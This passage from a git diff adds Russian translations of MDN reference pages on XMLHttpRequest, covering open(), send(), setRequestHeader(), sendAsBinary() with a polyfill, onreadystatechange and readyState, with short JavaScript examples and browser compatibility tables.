+<pre>DOMString? getResponseHeader(DOMString <var>header</var>);</pre>
+
+<p>Возвращает значение указанного заголовка из полученного ответа, или <code>null</code> в случает если ответ не получен, или такого заголовка в ответе нет. Возвращаемая строка имеет кодировку UTF.</p>
+
+<div class="note">
+<p><code><strong>Примечание: </strong>Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделенную запятой и пробелом.</code></p>
+</div>
+
+<h3 id="open()" name="open()">open()</h3>
+
+<p>Инициализирует запрос. Этот метод может (и должен) быть вызван из JavaScript кода; если необходимо вызвать запрос из нативного кода, то нужно использовать метод <a class="internal" href="/en/nsIXMLHttpRequest#openRequest()" title="/en/XMLHttpRequest#openRequest()"><code>openRequest()</code></a>.</p>
+
+<div class="note"><strong>Примечание:</strong> Вызов этого метода из активного запроса (если метод <code>open() или</code> <code>openRequest() уже были вызваны</code>) эквивалентно вызову метода <code>abort()</code>.</div>
+
+<pre>void open(
+   DOMString <var>method</var>,
+   DOMString <var>url</var>,
+   optional boolean <var>async</var>,
+   optional DOMString <var>user</var>,
+   optional DOMString <var>password</var>
+);
+</pre>
+
+<h6 id="Параметры">Параметры</h6>
+
+<dl>
+ <dt><code>method</code></dt>
+ <dd>HTTP метод отправки сообщения - "GET", "POST", "PUT", "DELETE", и проч. Ignored for non-HTTP(S) URLs.</dd>
+ <dt><code>url</code></dt>
+ <dd>URL адрес, на который будет отправлено сообщение.</dd>
+ <dt><code>async</code></dt>
+ <dd>Необязательный boolean параметр, по умолчанию равный <code>true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно</code> <code>false</code>, метод <code>send() вернет ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определенных </code>event listener'ов. В случае, если используется отправка <code>multipart</code> запроса, то этот атрибут <strong>должен </strong>быть <code>true</code>, или будет выброшено исключение.
+ <div class="note"><strong>Примечание:</strong> Начиная с Gecko 30.0 {{ geckoRelease("30.0") }}, синхронные запросы объявлены как deprecated, в силу того что все пользователи недовольны тем, что приложение "зависает".</div>
+ </dd>
+ <dt><code>user</code></dt>
+ <dd>Необязательный параметр, используется для аутентификации пользователя. По умолчанию, пустая строка.</dd>
+ <dt><code>password</code></dt>
+ <dd>Необязательный параметр, используется для аутентификации пользователя. По умолчанию пустая строка.</dd>
+</dl>
+
+<h3 id="overrideMimeType()" name="overrideMimeType()">overrideMimeType()</h3>
+
+<p>Переопределяет MIME тип, получаемый от сервера. Это может быть использовано, например, для того чтобы получить и распарсить данные в формате text/xml, даже, если сервер сообщает что это не так. Этот метод должен быть вызван перед вызовом метода <code>send()</code>.</p>
+
+<pre>void overrideMimeType(DOMString <var>mimetype</var>);</pre>
+
+<h3 id="send()" name="send()">send()</h3>
+
+<p>Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернет значение сразу после того как метод вызван.</p>
+
+<div class="note">
+<p><strong>Примечание переводчика: </strong>в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она еще не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.</p>
+</div>
+
+<p>Если запрос синхронный, то метод вернет значение только после того, как придет запрос от сервера.</p>
+
+<div class="note"><strong>Примечание:</strong> все необходимые слушатели событий (event listeners) должны быть установлены перед вызовом <code>send()</code>.</div>
+
+<div class="note"><strong>Примечание:</strong> Лучше не использовать параметр ArrayBuffer. Сейчас он не входит в спецификацию <code>XMLHttpRequest</code>. Вместо него можно использовать ArrayBufferView (смотри таблицу совместимости для различных версий).</div>
+
+<pre>void send();
+<s>void send(ArrayBuffer <var>data</var>);</s>
+void send(ArrayBufferView <var>data</var>);
+void send(Blob <var>data</var>);
+void send(Document <var>data</var>);
+void send(DOMString? <var>data</var>);
+void send(FormData <var>data</var>);</pre>
+
+<h6 id="Примечания">Примечания</h6>
+
+<p>Если тип <var>data</var> - <code>Document</code>, то он будет сериализован перед отправкой. Firefox до версии 3 всегда отправляет такой запрос в кодировке UTF-8; <a href="/en/Firefox_3" rel="internal" title="en/Firefox_3">Firefox 3</a> отправляет данные в той кодировке, которая указаны в <code>body.xmlEncoding</code>, или UTF-8 если такой информации нет.</p>
+
+<p>If it's an <code>nsIInputStream</code>, it must be compatible with <code>nsIUploadChannel</code>'s <code>setUploadStream()</code>method. In that case, a Content-Length header is added to the request, with its value obtained using <code>nsIInputStream</code>'s <code>available()</code>method. Any headers included at the top of the stream are treated as part of the message body. The stream's MIMEtype should be specified by setting the Content-Type header using the <a class="internal" href="#setRequestHeader()" title="/en/XMLHttpRequest#setRequestHeader()"><code>setRequestHeader()</code></a> method prior to calling <code>send()</code>.</p>
+
+<p>The best way to send binary content (like in files upload) is using an <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBufferView" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBufferView">ArrayBufferView</a> or <a href="/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob">Blobs</a> in conjuncton with the <code>send()</code> method. However, if you want to send a <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringifiable</a> raw data, use the <a href="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()" title="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()"><code>sendAsBinary()</code></a> method instead, or the <a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> <span class="inlineIndicator" title="This API is not native.">Non native</span> typed arrays superclass.</p>
+
+<h3 id="setRequestHeader()" name="setRequestHeader()">setRequestHeader()</h3>
+
+<p>Устанавливает значение заголовка HTTP-запроса. Вы должны вызвать <code>setRequestHeader()</code> после <a href="#open"><code>open()</code></a>, но перед <code>send()</code>. Если данный метод вызывается несколько раз с одним и тем же заголовком, все значения объеденяются в один заголовок запроса.</p>
+
+<pre>void setRequestHeader(
+   DOMString <var>header</var>,
+   DOMString <var>value</var>
+);
+</pre>
+
+<h6 id="Параметры_2">Параметры</h6>
+
+<dl>
+ <dt><code>header</code></dt>
+ <dd>Имя заголовка, значение которого будет установлено.</dd>
+ <dt><code>value</code></dt>
+ <dd>Значение, заданное как тело заголовка.</dd>
+</dl>
+
+<h3 id="Нестандартные_методы">Нестандартные методы</h3>
+
+<h4 id="init()">init()</h4>
+
+<p>Инициализирует объект для использования с C++ кодом.</p>
+
+<div class="warning"><strong>Внимание:</strong> Этот метод <strong><em>нельзя</em></strong> вызывать из JavaScript.</div>
+
+<pre>[noscript] void init(
+   in nsIPrincipal principal,
+   in nsIScriptContext scriptContext,
+   in nsPIDOMWindow ownerWindow
+);
+</pre>
+
+<h5 id="Параметры_3">Параметры</h5>
+
+<dl>
+ <dt><code>principal</code></dt>
+ <dd>
+ <p>Принцип, используемый для запроса; не должен быть <code>null</code>.</p>
+ </dd>
+ <dt><code>scriptContext</code></dt>
+ <dd>
+ <p>Контекст скрипта, используемого для запроса; не должен быть <code>null</code>.</p>
+ </dd>
+ <dt><code>ownerWindow</code></dt>
+ <dd>
+ <p>Окно, связанное с запросом; может быть <code>null</code>.</p>
+ </dd>
+</dl>
+
+<h4 id="openRequest()">openRequest()</h4>
+
+<p>Инициализирует запрос. Этот метод должен использоваться из собственного кода; для инициализации запроса из кода JavaScript вместо этого используйте используйте <code><a class="internal" href="/en/nsIXMLHttpRequest#open()" title="/en/XMLHttpRequest#open()">open()</a></code> метод. Смотрите документацию для <code><a class="internal" href="/en/nsIXMLHttpRequest#open()" title="/en/XMLHttpRequest#open()">open()</a></code>.</p>
+
+<h4 id="sendAsBinary()_deprecated_inline(31)">sendAsBinary() {{ deprecated_inline(31) }}</h4>
+
+<p>Вариант метода <code>send()</code> который посылает бинарные данные.</p>
+
+<div class="note"><strong>Примечание:</strong> Етот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удален. Взамен может использоваться стандарт метода <code>send(Blob data).</code> </div>
+
+<pre>void sendAsBinary(
+   in DOMString body
+);
+</pre>
+
+<p>Даный метод используется в сочетании с методом <code><a href="/en-US/docs/DOM/FileReader#readAsBinaryString()" title="/en-US/docs/DOM/FileReader#readAsBinaryString()">readAsBinaryString</a>,</code> который присутствует в <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API, и позволяет <a href="https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">прочитать и <strong>загрузить</strong> файл любого типа</a> и превратить необработанные данные в <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">JSON-строку</a>.</p>
+
+<h5 id="Параметры_4">Параметры</h5>
+
+<dl>
+ <dt><code>body</code></dt>
+ <dd>Тело запроса в виде <a href="https://developer.mozilla.org/ru/docs/Web/API/DOMString">DOMstring</a>. Эти данные конвертированы в строку с однобайтовыми символами с помощью усечения (удаления байта с высоким порядком в каждом символе).</dd>
+</dl>
+
+<h5 id="sendAsBinary()_polyfill"><code>sendAsBinary()</code> polyfill</h5>
+
+<p>Since <code>sendAsBinary()</code> is an experimental feature, here is <strong>a polyfill</strong> for browsers that <em>don't</em> support the <code>sendAsBinary()</code> method but support <a href="/en-US/docs/JavaScript/Typed_arrays" title="/en-US/docs/JavaScript/Typed_arrays">typed arrays</a>.</p>
+
+<pre class="brush: js">/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+|*|
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function (sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx &lt; nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) &amp; 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}</pre>
+
+<div class="note"><strong>Note:</strong> It's possible to build this polyfill putting two types of data as argument for <code>send()</code>: an <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a> (<code>ui8Data.buffer</code> – the commented code) or an <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBufferView" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBufferView"><code>ArrayBufferView</code></a> (<code>ui8Data</code>, which is a <a href="/en-US/docs/JavaScript/Typed_arrays/Uint8Array" title="/en-US/docs/JavaScript/Typed_arrays/Uint8Array">typed array of 8-bit unsigned integers</a> – uncommented code). However, on Google Chrome, when you try to send an <code>ArrayBuffer</code>, the following warning message will appear: <code>ArrayBuffer is deprecated in XMLHttpRequest.send(). Use ArrayBufferView instead.</code> Another possible approach to send binary data is the <a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> <span class="inlineIndicator" style="background-color: #ffffff;" title="This API is not native.">Non native</span> typed arrays superclass in conjunction with the <a href="#send()" title="#send()"><code>send()</code></a> method.</div>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li class="note">By default, Firefox 3 limits the number of <code>XMLHttpRequest</code> connections per server to 6 (previous versions limit this to 2 per server). Some interactive web sites may keep an <code>XMLHttpRequest</code> connection open, so opening multiple sessions to such sites may result in the browser hanging in such a way that the window no longer repaints and controls don't respond. This value can be changed by editing the <code>network.http.max-persistent-connections-per-server</code> preference in <code><a class="linkification-ext" href="/about:config" title="Linkification: about:config">about:config</a></code>.</li>
+ <li class="note">From {{ gecko("7.0") }} headers set by {{ manch("setRequestHeader") }} are sent with the request when following a redirect. Previously these headers would not be sent.</li>
+ <li class="note"><code>XMLHttpRequest</code> is implemented in Gecko using the {{ interface("nsIXMLHttpRequest") }}, {{ interface("nsIXMLHttpRequestEventTarget") }}, and {{ interface("nsIJSXMLHttpRequest") }} interfaces.</li>
+ <li class="note">When a request reaches its timeout value, a "timeout" event is raised.</li>
+</ul>
+
+<h4 class="note" id="Events">Events</h4>
+
+<p><code>onreadystatechange</code> as a property of the <code>XMLHttpRequest</code> instance is supported in all browsers.</p>
+
+<p>Since then, a number of additional event handlers were implemented in various browsers (<code>onload</code>, <code>onerror</code>, <code>onprogress</code>, etc.). These are supported in Firefox. In particular, see {{ interface("nsIXMLHttpRequestEventTarget") }} and <a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a>.</p>
+
+<p>More recent browsers, including Firefox, also support listening to the <code>XMLHttpRequest</code> events via standard <code><a href="/en/DOM/element.addEventListener" title="element.addEventListener">addEventListener</a></code> APIs in addition to setting <code>on*</code> properties to a handler function.</p>
+
+<h2 id="Permissions" name="Permissions">Permissions</h2>
+
+<p>When using System XHR via the <code>mozSystem</code> property, for example for Firefox OS apps, you need to be sure to add the <code>systemXHR</code> permission into your manifest file. System XHR can be used in privileged or certified apps.</p>
+
+<pre class="brush: js">"permissions": {
+    "systemXHR":{}
+}</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.XMLHttpRequest")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>MDN articles about XMLHttpRequest:
+  <ul>
+   <li><a href="/en/AJAX/Getting_Started" title="en/AJAX/Getting_Started">AJAX - Getting Started</a></li>
+   <li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+   <li><a href="/en/HTML_in_XMLHttpRequest" title="en/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+   <li><a href="/en/DOM/XMLHttpRequest/FormData" title="en/XMLHttpRequest/FormData"><code>FormData</code></a></li>
+  </ul>
+ </li>
+ <li>XMLHttpRequest references from W3C and browser vendors:
+  <ul>
+   <li><a class="external" href="http://www.w3.org/TR/XMLHttpRequest1/">W3C: XMLHttpRequest</a> (base features)</li>
+   <li><a class="external" href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html" title="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">W3C: XMLHttpRequest</a> (latest editor's draft with extensions to the base functionality, formerly XMLHttpRequest Level 2</li>
+   <li><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp">Microsoft documentation</a></li>
+   <li><a class="external" href="https://developer.apple.com/library/safari/#documentation/AppleApplications/Conceptual/SafariJSProgTopics/Articles/XHR.html">Apple developers' reference</a></li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://jibbering.com/2002/4/httprequest.html">"Using the XMLHttpRequest Object" (jibbering.com)</a></li>
+ <li><a class="external" href="http://www.peej.co.uk/articles/rich-user-experience.html">XMLHttpRequest - REST and the Rich User Experience</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/file/xhr2/">HTML5 Rocks - New Tricks in XMLHttpRequest2</a></li>
+ <li><a href="http://programmers.stackexchange.com/questions/157375/why-does-xmlhttprequest-not-seem-to-follow-a-naming-convention">Thread on the naming convention of <code>XMLHttpRequest</code></a></li>
+ <li><code>Chrome scope availability</code> - how to access from JSM modules etc which do not have access to DOM
+  <ul>
+   <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+   <li><a href="/en-US/docs/nsIXMLHttpRequest">nsIXMLHttpRequest [en-US]</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/onreadystatechange/index.html b/files/ru/web/api/xmlhttprequest/onreadystatechange/index.html
new file mode 100644
index 0000000000..4069a6378b
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/onreadystatechange/index.html
@@ -0,0 +1,117 @@
+---
+title: XMLHttpRequest.onreadystatechange
+slug: Web/API/XMLHttpRequest/onreadystatechange
+tags:
+  - API
+  - XHR
+  - XMLHttpRequest
+  - Обработчик
+  - Свойство
+  - Событие
+  - Ссылка
+translation_of: Web/API/XMLHttpRequest/onreadystatechange
+---
+<div>{{APIRef}}</div>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventHandler" title="A possible way to get notified of Events of a particular type (such as click) for a given object is to specify an event handler using:"><code>Обработчик события (EventHandler)</code></a>, который вызывается всякий раз, когда изменяется состояние свойства <code>readyState</code>. Свойство <strong><code>XMLHttpRequest.onreadystatechange</code></strong> содержит обработчик события, вызываемый когда происходит событие {{event("readystatechange")}}, всякий раз  когда свойство {{domxref("XMLHttpRequest.readyState", "readyState")}} запроса {{domxref("XMLHttpRequest")}} изменяется. Функция обратного вызова запускается из потока пользовательского интерфейса.</p>
+
+<div class="warning">
+<p><strong>Внимание:</strong> Не должно использоваться при синхронных запросах  и из исходного кода (native code).</p>
+</div>
+
+<p>Событие <code>readystatechange</code> не произойдёт если запрос <code>XMLHttpRequest</code> отменён методом <a href="/en-US/docs/Web/API/XMLHttpRequest/abort">abort()</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.onreadystatechange = <em>callback</em>;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<ul>
+ <li><code><em>callback</em></code> - это функция, которая будет вызываться при изменении свойства <code>readyState</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+
+xhr.open(<em>method</em>, <em>url</em>, true);
+xhr.onreadystatechange = function () {
+        if(xhr.readyState === XMLHttpRequest.DONE &amp;&amp; xhr.status === 200) {
+            console.log(xhr.responseText);
+        };
+    };
+xhr.send();</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#handler-xhr-onreadystatechange')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatIe(7)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari(1.2)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer версий 5 и 6 поддерживают запросы ajax при использовании <code>ActiveXObject()</code>.</p>
diff --git a/files/ru/web/api/xmlhttprequest/open/index.html b/files/ru/web/api/xmlhttprequest/open/index.html
new file mode 100644
index 0000000000..24b59f60f5
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/open/index.html
@@ -0,0 +1,66 @@
+---
+title: XMLHttpRequest.open()
+slug: Web/API/XMLHttpRequest/open
+translation_of: Web/API/XMLHttpRequest/open
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Метод <strong>XMLHttpRequest.open()</strong> инициализирует новый запрос или повторно инициализирует уже созданный.</p>
+
+<div class="note"><strong>Заметка:</strong> Вызов этого метода для уже активного запроса (для которого уже был вызван  <code>open()</code>) эквивалентно вызову <code>abort()</code>.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>XMLHttpRequest</var>.open(<var>method</var>, <var>url</var>[, <var>async</var>[, <var>user</var>[, <var>password</var>]]])
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>method</code></dt>
+ <dd>Для HTTP-запроса используются такие методы как "GET", "POST", "PUT", "DELETE", и т. д. Игнорируется для URL, отличных от HTTP(S)-запросов.</dd>
+ <dt><code>url</code></dt>
+ <dd>{{domxref("DOMString")}} представляет URL для отправки запроса.</dd>
+ <dt><code>async</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Необязательный логический параметр со значением по умолчанию <code>true</code>, указывающим, выполнять ли операцию асинхронно или нет. Если это значение равно <code>false</code>, метод <code>send()</code> не возвращается, пока не будет получен ответ. Если <code>true</code>, уведомление о получении ответа осуществляется с помощью обработчика события. Должен быть <code>true</code>, если аттрибут <code>multipart</code> равен <code>true</code>, иначе будет выброшено исключение.</p>
+
+ <div class="note"><strong>Заметка:</strong> Синхронные запросы в основном потоке могут нарушить работу пользователя, их следует избегать. Фактически большинство браузеров полностью отказались от поддержки синхронных XHR в основном потоке. Синхронные запросы можно использовать в {{domxref("Worker")}}.</div>
+ </dd>
+ <dt><code>user</code> {{optional_inline}}</dt>
+ <dd>Опционально: имя пользователя, использующееся для аутентификации; по умолчанию имеет значение <code>null</code>.</dd>
+ <dt><code>password</code> {{optional_inline}}</dt>
+ <dd>Опционально: пароль, использующийся для аутентификации; по умолчанию имеет значение <code>null</code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-open()-method', 'open()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG живой стандарт</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.XMLHttpRequest.open")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li>{{domxref("XMLHttpRequest.setRequestHeader", "setRequestHeader()")}}</li>
+ <li>{{domxref("XMLHttpRequest.send", "send()")}}</li>
+ <li>{{domxref("XMLHttpRequest.abort", "abort()")}}</li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/readystate/index.html b/files/ru/web/api/xmlhttprequest/readystate/index.html
new file mode 100644
index 0000000000..a585b31e8b
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/readystate/index.html
@@ -0,0 +1,153 @@
+---
+title: XMLHttpRequest.readyState
+slug: Web/API/XMLHttpRequest/readyState
+tags:
+  - AJAX
+  - XMLHttpRequest
+  - Свойство
+  - Ссылка
+translation_of: Web/API/XMLHttpRequest/readyState
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p><strong>Свойство XMLHttpRequest.readyState</strong> возвращает текущее состояние объекта XMLHttpRequest. Объект <abbr title="XMLHttpRequest">XHR</abbr> может иметь следующие состояния:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Значение</td>
+   <td class="header">Состояние</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>UNSENT</code></td>
+   <td>Объект был создан. Метод <code>open()</code> ещё не вызывался.</td>
+  </tr>
+  <tr>
+   <td><code>1</code></td>
+   <td><code>OPENED</code></td>
+   <td><code>Метод open()</code> был вызван.</td>
+  </tr>
+  <tr>
+   <td><code>2</code></td>
+   <td><code>HEADERS_RECEIVED</code></td>
+   <td><code>Метод send()</code> был вызван, доступны заголовки (headers) и статус.</td>
+  </tr>
+  <tr>
+   <td><code>3</code></td>
+   <td><code>LOADING</code></td>
+   <td>Загрузка; <code>responseText</code> содержит частичные данные.</td>
+  </tr>
+  <tr>
+   <td><code>4</code></td>
+   <td><code>DONE</code></td>
+   <td>Операция полностью завершена.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>UNSENT</dt>
+ <dd>Объект XMLHttpRequest был создан, но метод <code>open()</code> ещё не вызывался.</dd>
+ <dt>OPENED</dt>
+ <dd>Был вызван метод open(). На этом этапе методом <a href="/en-US/docs/Web/API/XMLHttpRequest/setRequestHeader">setRequestHeader()</a> могут быть установлены заголовки запроса (request headers), после чего для начала выполнения запроса может быть вызван метод <a href="/en-US/docs/Web/API/XMLHttpRequest/send">send()</a> .</dd>
+ <dt>HEADERS_RECEIVED</dt>
+ <dd>Был вызван метод send() и получены заголовки ответа (response headers) .</dd>
+ <dt>LOADING</dt>
+ <dd>Получена часть ответа. Если <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code>  - это пустая строка или имеет значение "text", <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseText">responseText</a></code> будет содержать загруженную порцию текста ответа.</dd>
+ <dt>DONE</dt>
+ <dd>Операция доставки данных завершена. Это может означать как то, что передача данных полностью завершена успешно, так и то, что произошла ошибка.</dd>
+</dl>
+
+<div class="note">
+<p>Названия состояний отличаются в версиях Internet Explorer ранее 11. Вместо <code>UNSENT</code>, <code>OPENED</code>,<code> HEADERS_RECEIVED</code>,<code> LOADING</code> и <code>DONE, используются названия READYSTATE_UNINITIALIZED</code> (0), <code>READYSTATE_LOADING</code> (1), <code>READYSTATE_LOADED</code> (2), <code>READYSTATE_INTERACTIVE</code> (3) и <code>READYSTATE_COMPLETE</code> (4).</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+console.log('UNSENT', xhr.readyState); // readyState будет равно 0
+
+xhr.open('GET', '/api', true);
+console.log('OPENED', xhr.readyState); // readyState будет равно 1
+
+xhr.onprogress = function () {
+    console.log('LOADING', xhr.readyState); // readyState будет равно 3
+};
+
+xhr.onload = function () {
+    console.log('DONE', xhr.readyState); // readyState будет равно 4
+};
+
+xhr.send(null);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#states')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<sup>[1]</sup></td>
+   <td>{{CompatIe(7)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari("1.2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/xmlhttprequest/response/index.html b/files/ru/web/api/xmlhttprequest/response/index.html
new file mode 100644
index 0000000000..81a922d5ab
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/response/index.html
@@ -0,0 +1,145 @@
+---
+title: XMLHttpRequest.response
+slug: Web/API/XMLHttpRequest/response
+tags:
+  - AJAX
+  - Response
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/response
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
